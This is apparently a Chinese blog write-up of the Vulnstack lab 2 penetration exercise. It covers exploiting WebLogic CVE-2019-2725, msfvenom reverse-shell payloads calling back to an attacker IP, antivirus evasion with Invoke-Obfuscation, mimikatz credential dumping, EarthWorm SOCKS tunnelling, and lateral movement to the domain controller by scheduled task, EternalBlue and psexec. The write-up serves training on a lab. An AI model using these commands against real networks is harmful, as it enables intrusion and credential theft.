环境配置

内网2靶场由三台机器构成:WIN7、2008 server、2012 server

其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控

网络适配器已经设置好了不用自己设置

初始密码1qaz@WSX

WEB主机初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX ,然后修改WEB\de1ay的密码

注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX

由于web主机自己设置了ip地址,还需要改成自动获取ip地址,不然kali无法探测该主机

外网主机信息收集

nmap探测端口,一个web服务器一个个人pc

目标web主机对外的ip地址为192.168.200.30 ,开放了80,但是看了看什么东西也没有,1433sqlserver,7001http服务 weblogic中间件

由于刚刚环境配置的时候开的就是weblogic服务,所以猜测肯定这里有问题

访问weblogic后台 默认路径为192.168.200.30:7001/console,得到了一个版本号10.3.6.0

因为我对这个中间件不是很熟悉,先kali searchsploit搜索了一下大概存在哪漏洞

看到存在命令执行漏洞和java反序列化,但是我也不知道具体是哪一个,所以网上找到了一个针对weblogic的扫描工具rabbitmask/WeblogicScan

python3 WeblogicScan.py -u 192.168.200.30 -p 7001

看到检测出只有java反序列化漏洞 编号为CVE-2019-2725,搜索一下关于这个漏洞的复现,查到有两种方法

CVE-2019-2725漏洞利用

1、上msf搜索关于这个漏洞的利用模块

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set RHOSTS 192.168.200.30
set LHOST 192.168.200.6
run

但是攻击失败了,突然意识到靶机有360防御,关掉之后才能攻击。

2、网上的exp(github.com)

漏洞存在的页面:(若页面存在则有漏洞)

/_async/AsyncResponseService

但是网上的exp我每个都试了,弄了一下午结果没有一个成功的,后来看到360的日志,才发现原来是他搞得鬼,把所有的数据包都拦截了,那我就很疑惑网上的wp到底是怎么写出来的

看来绕过360还是一个大工程啊

功夫不负有心人我差点想要放弃了,还好还是找到了CVE-2019-2725对应的利用脚本,kali如下,下载地址 https://www.exploit-db.com/download/46780

使用方法:将exploit修改成msf生成的ps1文件

但是有360,还得考虑免杀

先用msf生成ps1脚本

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1

免杀这里我选择了Invoke-Obfuscation 参考文章Invoke-Obfuscation混淆免杀过360和火绒_csdnmmd的博客-CSDN博客

Invoke-Obfuscation下载链接:https://github.com/danielbohannon/Invoke-Obfuscation 

设置执行策略Set-executionpolicy Unrestricted:允许所有脚本运行。

Import-Module Invoke-Obfuscation.psd1 \\导入模块
Invoke-Obfuscation \\加载模块

设置要免杀的木马

set scriptpath C:\Users\administrator.WIN-2008\Desktop\shell.ps1

选择编码混淆 ENCODING

这里选择的类型有八个,分别是不同编码,我先试试第一个,输入1,就会自动生成

输入

out 1.ps1

将文件输出,可以看到免杀好的ps1脚本已经做好了

回到kali,我想先是试试看没免杀的脚本会不会被360拦截,于是就先把没免杀的ps1复制到exploit中

python 46780.py http://192.168.200.30:7001/_async/AsyncResponseServiceHttps

msf监听

果然还是被拦截了,接下来试试看免杀之后的

但是,花了一晚上所有都试了一遍发现没有一个能用的,直到我把360关了之后,再重新试了一下,发现就算没有360也没有用,害能力不够,免杀这边只能先放放了。

内网信息收集  

跳过绕360那一步拿到web主机权限  

getsystem提权失败,应该是因为360的原因

MSF下的会话传给CS

msf使用注入模块 + cs创建Listener监听 (相同payload)

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run

利用cs通过web服务器进行对内网的主机扫描发现

扫到的三台主机,都开了445,后面可以试试永恒之蓝

也可以利用msf通过web服务器进行对内网的主机扫描发现

进入shell 查看内网网段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

有一台主机没扫到,我试了一下web机也ping不到pc不知道什么原因,用路由转发,让msf直接扫试试看

获取目标机内网地址网段

run get_local_subnets

通过background回到msf,使用route增加对应路由,2是sessions值

route add 10.10.10.0 255.255.255.0 2

查看是否设置成功

route print

这样msf就能扫描到内网的主机了

回到meterpreter会话,扫描10.10.10.0网段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

继续信息收集,查到域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC

net time /domain
net user /domain
net group "domain computers" /domain

CS runmimikatz

抓取到web/de1ay和de1ay/mssql用户的密码,但是没抓到域控的密码(其实通过之前收集到的用户名,也可以用这个密码撞一撞)

内网穿越

先设置代理让kali能访问内网

两种工具一个是earthworm,还有一个是ProxyChains

首先将EW上传到web主机上

在攻击机运行

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口  

然后在web主机运行

ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444

这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口

运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务

接下来使用proxychains添加代理(KALI中自带)

输入打开proxychains进行编辑

vi /etc/proxychains4.conf

首先将dynamic_chain前面的注释符#删除

然后在底部改成内容 socks5 127.0.0.1 1080

保存并退出,现在kali可以访问内网了

setg Proxies socks5:127.0.0.1:1080 ,把msf代理进内网(也可以添加路由)

域内横向移动

既然抓到了本机的密码,也开启了3389,就远程登陆看看

 rdesktop 192.168.200.30:3389

进入后先把360关了

这里我只是试一试,但是居然能连接到

msf创建一个正向连接的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe

 上传到web机在上传到域控 

定时任务

schtasks /create /s 10.10.10.10 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f 

 msf监听

set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 4444
run

拿到域控权限但提权失败,尝试手动提权

background
use local_exploit_suggester
show options
set session 4
run

每个都尝试用了一遍,在切换回sessions

用永恒之蓝试试攻击域控

也可以直接获取域控权限

(后面我又试了一下永恒之蓝,但是一直是蓝屏,我也不知道这次是怎么弄的)

psexec.exe也行

总结

这个靶机可能是我配置不太对,做起来有些奇怪,win2008的权限似乎有点高不用ipc连接就能连接到域控,win2008和win7互相 ping不通,也连接不到,感觉win7在这个靶场中存在的意义不大,这个靶场的难点应该就是过360那部分了,后续得学习一下免杀

  

  

Vulnstack内网靶场2的更多相关文章

  1. Vulnstack内网靶场3

    Vulnstack内网靶场3 (qiyuanxuetang.net) 环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行. 挂起状态,账号已默认登陆,cento ...

  2. Vulnstack内网靶场1

    最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net) 环境配置 内网1靶场由三台机器构成:WIN7.2008 server.200 ...

  3. Vulnstack内网靶场5

    实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...

  4. Vulnstack内网靶场4

    环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器 攻击机kali ...

  5. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  6. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  7. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  8. 利用Metasploit 打入ThinkPHP内网...

    出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图   Metasploi ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. SpringBoot笔记(2)

    一.容器功能 1.1 组件添加 1. @Configuration Full模式:获取对象时,首先在容器内搜索是否存在,如存在直接拿出 默认为Full模式,单例 配置类组件之间有依赖关系,方法会被调用 ...

  2. Linux centos7 scp命令

    1. 命令简介 scp(secure copy) 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令,可以在两台 Linux 主机进行复制操作 # 语法 scp [-1246BCpqr ...

  3. ES6中函数调用自身需要注意的问题

    在传统的递归调用中,可以采用如下方式 function sum(n) { return sum(n - 1) + n;} 但如今es6盛行,为了保持代码一致性,可以采用两种解决方式. 第一种,将thi ...

  4. Qt5完美解决 界面显示中文乱码

    最近在学习Qt,可是一直头疼于中文乱码问题,上网搜了一下,很多都是Qt4中使用如下方法: QTextCodec *codec = QTextCodec::codecForName("gbk& ...

  5. Python之smtplib模块

    工作中难免会出现自动发送电子邮件的需求,比如说做完自动化测试之后通过电子邮件的形式将结果反馈出来.Python中提供了标准库smtplib来解决这一问题,该模块定义了一个smtp客户端会话对象,能够将 ...

  6. java 线程基础篇,看这一篇就够了。

    前言: Java三大基础框架:集合,线程,io基本是开发必用,面试必问的核心内容,今天我们讲讲线程. 想要把线程理解透彻,这需要具备很多方面的知识和经验,本篇主要是关于线程基础包括线程状态和常用方法. ...

  7. Spring整合MyBatis小结

    MyBatis在Spring中的配置 我们在Spring中写项目需要运用到数据库时,现在一般用的是MyBatis的框架来帮助我们书写代码,但是学习了SSM就要知道M指的就是MyBatis,在此,在Sp ...

  8. 【第十篇】- Git 远程仓库(Github)之Spring Cloud直播商城 b2b2c电子商务技术总结

    Git 远程仓库(Github) Git 并不像 SVN 那样有个中心服务器. 目前我们使用到的 Git 命令都是在本地执行,如果你想通过 Git 分享你的代码或者与其他开发人员合作. 你就需要将数据 ...

  9. PHPDebug互动扩展【phpdbg】功能浅析

    对于 PHP 开发者来说,单步的断点 Debug 调试并不是我们的必修课,而 Java . C# . C++ 这些静态语言则会经常性地进行这种调试.其实,我们 PHP 也是支持这类调试方式的,特别是对 ...

  10. PHP设计模式之命令模式

    命令模式,也称为动作或者事务模式,很多教材会用饭馆来举例.作为顾客的我们是命令的下达者,服务员是这个命令的接收者,菜单是这个实际的命令,而厨师是这个命令的执行者.那么,这个模式解决了什么呢?当你要修改 ...